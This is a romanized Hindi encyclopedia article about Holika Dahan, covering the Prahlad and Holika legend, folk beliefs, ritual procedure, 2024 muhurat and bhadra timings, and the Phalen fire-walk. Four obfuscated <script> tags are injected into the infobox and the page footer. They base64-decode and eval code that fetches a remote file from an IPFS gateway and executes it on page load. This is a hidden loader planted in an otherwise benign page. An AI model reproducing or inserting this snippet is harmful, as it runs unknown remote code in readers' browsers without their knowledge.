होलिका दहन

holika dahan
prahlad ko god mean bithakar baithi holika|200px|center
any nam	'holi poojan', 'holikotsav'
anuyayi	hiandoo, bharatiy
prarambh	pauranik kal
tithi	phalgun poornima
utsav	ek mah poorv arthath magh poornima ko 'erand' ya goolar vriksh ki tahani ko gaanv ke bahar kisi sthan par ga d diya jata hai aur us par lak diyaan, sookhe upale, khar-patavar adi charoan se ekatr kiya jata hai aur phalgun poornima ki rat ya sayankal ise jalaya jata hai.
dharmik manyata	prachalit manyata ke anusar yah tyohar hiranyakashipu ki bahan holika ke mare jane ki smriti mean manaya jata hai.
sanbandhit lekh	holi, braj mean holi, holika, holashtak, latthamar holi, phalen ki holi, daooji ka huranga
dahan muhoort	sal 2024 mean 24 march ko rat 11 bajakar 13 minat se der rat 12 bajakar 27 minat tak
any janakari	is parv ko 'navanneshti yajnaparv' bhi kaha jata hai, kyoanki khet se aye navin ann ko is din yajn mean havan karake prasad lene ki parampara bhi hai. us ann ko 'hola' kahate hai. isi se isaka nam 'holikotsav' p da.
adyatan‎	16:35, 11 faravari 2024 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>holika dahan poorn chandrama ke din hi hota hai. is din sayankal ko holi jalaee jati hai. ek mah poorv arthath magh poornima ko 'erand' ya goolar vriksh ki tahani ko gaanv ke bahar kisi sthan par ga d diya jata hai, aur us par lak diyaan, sookhe upale, khar-patavar adi charoan se ekatr kiya jata hai aur phalgun poornima ki rat ya sayankal ise jalaya jata hai. paranpara ke anusar sabhi log alav ke charoan or ekatrit hote haian. isi alav ko holi kaha jata hai. holi ki agni mean sookhi pattiyaan, tahaniyaan, v sookhi lak diyaan dali jati haian, tatha log isi agni ke charoan or nrity v sangit ka anand lete haian. basantagaman ke lokapriy git bhakt prahalad ki raksha ki smriti mean gaye jate haian tatha usaki kroor bua holika ki bhi yad dilate haian.

dharmik vishvas

kee samudayoan mean holi mean jau ki baliyaan bhoonakar khane ki paranpara hai. aisa vishvas kiya jata hai ki agami fasal kaisi hogi, isaka anuman holi ki shikhaean kis or u d rahi haian tatha bhune hue jau ke danoan ke rang v svad se lagaya ja sakata hai. holi ke alav ki rakh mean kuchh aushadhi gun bhi pae jate haian, aisi logoan ki dharana hai. log holi ke alav aangaroan ko ghar le jate haian tatha usi se ghar mean mahilaean holi par banaee huee gobar ki ghuraghuli jalati haian. kuchh kshetroan mean log holi ki ag ko sal bhar surakshit rakhate haian aur isase choolhe jalate haian.

1. REDIRECTsaancha:mukhy

itihas

prachalit manyata ke anusar yah tyohar hiranyakashipu ki bahan holika ke mare jane ki smriti mean manaya jata hai. puranoan mean varnit hai ki hiranyakashipu ki bahan holika ko ek varadan prapt tha. is varadan ke prabhav se vah nity agnisnan karati thi aur jalati nahian thi. hiranyakashipu ne apane rajy mean yah ghoshana kar rakhi thi ki samast praja use hi apana bhagavan mane aur usaki pooja kare. jabaki usaka putr prahlad bhagavan vishnu ka param bhakt tha. hiranyakashipu ne pahlad ko samapt karane ke kee prayatn kie, kiantu pratyek bar bhagavan ki kripa se vah bach gaya. yah jan lene ke bad ki usaki bahan holika ko agni mean n jal pane ka varadan prapt hai, usane bahan holika se prahlad ko god mean lekar agnisnan karane ko kaha. usane samajha ki aisa karane se prahlad agni mean jal jaega tatha holika bach jaegi. holika ne aisa hi kiya, kiantu is bar bhi vishnu ki kripa prahlad par huee, jisase prahlad to bach gaya, lekin holika jalakar bhasm ho gee. holika ko yah smaran hi nahian raha ki agni snan vah akele hi kar sakati hai. tabhi se is tyohar ke manane ki pratha chal p di.

holika

1. REDIRECTsaancha:mukhy

hemadri ne bhavishyottar se uddharan dekar ek katha di hai. yudhishthir ne krishna se poochha ki phalgun-poornima ko pratyek gaanv evan nagar mean ek utsav kyoan hota hai, pratyek ghar mean bachche kyoan kri damay ho jate haian aur holaka kyoan jalate haian, usamean kis devata ki pooja hoti hai, kisane is utsav ka prachar kiya, isamean kya hota hai aur yah 'adada' kyoan kahi jati hai. krishna ne yudhishthir se raja raghu ke vishay mean ek kianvadanti kahi. raja raghu ke pas log yah kahane ke lie gaye ki 'dhondha' namak ek rakshasi hai jise shiv ne varadan diya hai ki use dev, manav adi nahian mar sakate haian aur n vah astr shastr ya ja da ya garmi ya varsha se mar sakati hai, kintu shiv ne itana kah diya hai ki vah kri dayukt bachchoan se bhay kha sakati hai. purohit ne yah bhi bataya ki phalgun ki poornima ko ja de ki rritu samapt hoti hai aur grishm rritu ka agaman hota hai, tab log hansean evan anand manayean, bachche lak di ke tuk de lekar bahar prasannatapoorvak nikal p dean, lak diyaan evan ghas ekatr karean, rakshoghn mantroan ke sath usamean ag lagayean, taliyaan bajayean, agni ki tin bar pradakshina karean, hansean aur prachalit bhasha mean bhadde evan ashlil gane gayean, isi shoragul evan attahas se tatha hom se vah rakshasi maregi. [[chitr:Holi-Holika-Dahan-Mathura.jpg|holika dahan, mathura|thumb|200px]] jab raja ne yah sab kiya to rakshasi mar gayi aur vah din 'adada' ya 'holika' kaha gaya. age aya hai ki doosare din chaitr ki pratipada par logoan ko holikabhasm ko pranam karana chahie, mantrochcharan karana chahie, ghar ke praangan mean vargakar sthal ke madhy mean kam-pooja karani chahie. kam-pratima par sundar nari dvara chandan-lep lagana chahie aur pooja karane vale ko chandan-lep se mishrit amr-baur khana chahie. isake uparant yathashakti brahmanoan, bhatoan adi ko dan dena chahie aur 'kam devata mujh par prasann hoan' aisa kahana chahie. isake age puran mean aya hai- 'jab shukl paksh ki 15vian tithi par patajh d samapt ho jata hai aur vasant rritu ka prat: agaman hota hai to jo vyakti chandan-lep ke sath amr-manjari khata hai, vah anand se rahata hai.'

holika dahan, 2024

panchaang ke anusar, phalgun ma​h ke shukl paksh ki poornima tithi 24 march, 2024 din ravivar ko subah 09 bajakar 54 minat se shuroo hogi. phalgun poornima tithi ka samapan 25 march, 2024 somavar ko dopahar 12 bajakar 29 minat par hoga. udaya tithi ke adhar par holika dahan 24 march, 2024 ko ravivar ke din hai.

bhadra ka samay

24 march ko holika dahan ke din bhadra lag rahi hai. us din bhadra ka praranbh subah 09 bajakar 54 minat se ho rahi hai, jo rat 11 bajakar 13 minat tak hai. us din bhadra ki pooanchh sham 06:33 baje se sham 07:53 baje tak hai. vahian bhadra ka mukh sham 07:53 baje se rat 10:06 baje tak hai. halika dahan ke din bhadra ka vas prithvilok par subah 09:54 baje se dopahar 02:20 baje tak hai. vahian bhadra ka vas patal lok mean dopahar 02:20 baje se rat 11:13 baje tak hai. bhadra ke samay mean halika dahan nahian karate haian.

shubh dahan muhoort

sal 2024 mean holika dahan ka shubh muhoort 24 march ko rat 11 bajakar 13 minat se der rat 12 bajakar 27 minat tak hai. holika dahan ke lie 1 ghanta 14 minat ka shubh samay prapt hoga. holika dahan ke din sarvarth siddhi yog aur ravi yog ban raha hai. sarvarth siddhi yog subah 07:34 baje se agale din subah 06:19 baje tak hai. vahian ravi yog subah 06:20 baje se subah 07:34 baje tak hai.

kab hai holi, 2024

holika dahan ke agale din subah mean rangoan vali holi kheli jaegi. sal 2024 mean holi 25 march din somavar ko hai. us din subah 06:19 baje tak sarvarth siddhi yog rahega. holi vale din vriddhi yog subah se lekar rat 09:30 baje tak hai. usake bad se dhruv yog hoga. us din uttaraphalguni nakshatr prat:kal se lekar subah 10:38 baje tak hai. usake bad se hast nakshatr hoga. holika dahan ko 'chhoti holi' bhi kahate haian.

dahan vidhi

'holika poojan' ke samay sabhi ko ek lota jal, kumakum, chaval, gandh, pushp, kachcha soot, gu d, sabut haldi, mooang, batashe, gulal aur nariyal adi se poojan karana chahie. sooryast ke bad pradosh kal mean holika mean agni prajjvalit kar di jati hai. agni prajjvalit hote hi dande ko bahar nikal liya jata hai. holika ke charoan or kachche soot ko sat ya tin parikrama karate hue lapeta jata hai. tatpashchath lote ka shuddh jal v any poojan ki sabhi vastuoan ko ek-ek karake holika ko samarpit kiya jata hai. kumakum, chaval v pushp ka pooja mean upayog kiya jata hai. sugandhit‍ phooloan ka prayog kar panchopachar vidhi se holika ka poojan karake poojan ke bad jal se ardhy diya jata hai.

holika poojan ke samay nimnalikhit mantr ka uchcharan shuddhata se karana chahie-

'ahakoota bhayatrastaiah krita tvan holi balishaiah atasvaan poojayishyami bhooti-bhooti pradayinimh‌. mantr ka uchcharan karana chahie.

ahooti

holika dahan hone ke bad holika mean vastuoan ki ahuti di jati hai, unamean pramukh taur par kachche am, nariyal, sat prakar ke dhany yani gehooan, u dad, mooang, chana, jau, chaval aur masoor adi sat dhanyoan se holika poojan kiya jata hai. is poojan ke samay dhyan mean rakhane yogy bat yah hai ki apaka muanh poorv ya uttar disha ki or rakhakar hi pooja mean uparokt samagri ka prayog karean. sath hi holi ke samay ane vali nee fasaloan ke dhany ko khasakar holi mean arpit karake poojan kiya jata hai aur holika maan se achchhe dhan-dhany aur achchhe jivan ki maang ki jati hai.

vishesh tathy

• holika dahan ke muhoort ke samay jal, mauli, phool, gulal tatha gu d adi se holika ka poojan karane ke bad gobar se banaee gee dhal v khilaunoan ki char malaean, jinamean pahali pitri, doosari shitala maan, tisari ram bhakt hanuman tatha chauthi apane ghar-parivar ke nam ki lakar alag se ghar mean surakshit rakh li jati hai.

• sarvajanik holi se agni lakar ghar mean banaee gee holi mean agni prajjvalit ki jati hai. aant mean sabhi purush kumakum ka tika lagate hai aur mahilaean holi ke git gati haian. is din ghar ke bujurgoan ke charan chhookar mangalamay jivan ka ashirvad liya jata hai. pauranik manyata ke anusar holi ki bachi huee agni aur rakh ko agale din subah ghar mean lane se ghar ka aur parivar ke sabhi sadasyoan ka ashubh shaktiyoan se bachav hota hai.

[[chitr:Holi Phalen Mathura.jpg|250px|thumb|phalen ki holi mean jalati huee agni se nange badan aur nange paanv nikalata panda]]

phalen ki holi

1. REDIRECTsaancha:mukhy

'phalen ki holi' mathura, uttar pradesh ke ek gram phalen mean manaee jati hai. phalen gram ki yah anoothi holi vishv prasiddh hai. isamean holika dahan ke samay ek purohit, jise panda kaha jata hai, nange paanv jalati huee agni ke bich se nikalata hua ek kund mean kood jata hai. ashchary ka vishay yah hai ki us par jalati huee agni ka koee prabhav nahian p data. yah jalati huee agni se prahlad ke anahat, akshat roop se nikalane ka pratik hai. phalen gram mean yah paranpara kee varshoan se chali a rahi hai. phalen mahotsav mean hone vale is anoothe aur sahasik krity ko dekhane ke liye bhari sankhya mean deshi hi nahian, apitu videshi paryatak bhi holi se poorv yahaan jama hone lagate haian aur holi ke is anokhe utsav ka anand lete haian.

holikotsav

is parv ko 'navanneshti yajnaparv' bhi kaha jata hai, kyoanki khet se aye navin ann ko is din yajn mean havan karake prasad lene ki parampara bhi hai. us ann ko hola kahate hai. isi se isaka nam 'holikotsav' p da. holi ka samay apane ap mean anootha hi hai. faravari- march mean jab holi manaee jati hai, tab sab or chiantamukt vatavaran hota hai- kisan fasal katane ke bad ashvast hota hai. pashuchara to sangrihit kiya ja chuka hota hai. shit rritu apane samapan par hoti hai. din n to bahut garm, n hi ratean bahut thandi hoti haian. holi phalgun mas mean poorn chandrama ke din manaee jati hai. yadyapi yah uttar bharat mean ek saptah v manipur mean chhah din tak manaee jati hai. holi varsh ka aantim tatha janasamany ka sabase b da tyohar hai. sabhi log apasi bhedabhav ko bhulakar ise harsh v ullas ke sath manate haian. holi parasparik saumanasy ekata aur samanata ko bal deti hai. vibhinn deshoan mean isake alag-alag nam aur roop haian. holika ki agni mean purana varsh 'jo holi' ke roop mean jal jata hai aur naya varsh nayi ashaean, akaankshaean lekar prakat hota hai. manav jivan mean nee oorja, nee sphoorti ka vikas hota hai. yah 'hinduoan ka navavarshotsav' hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>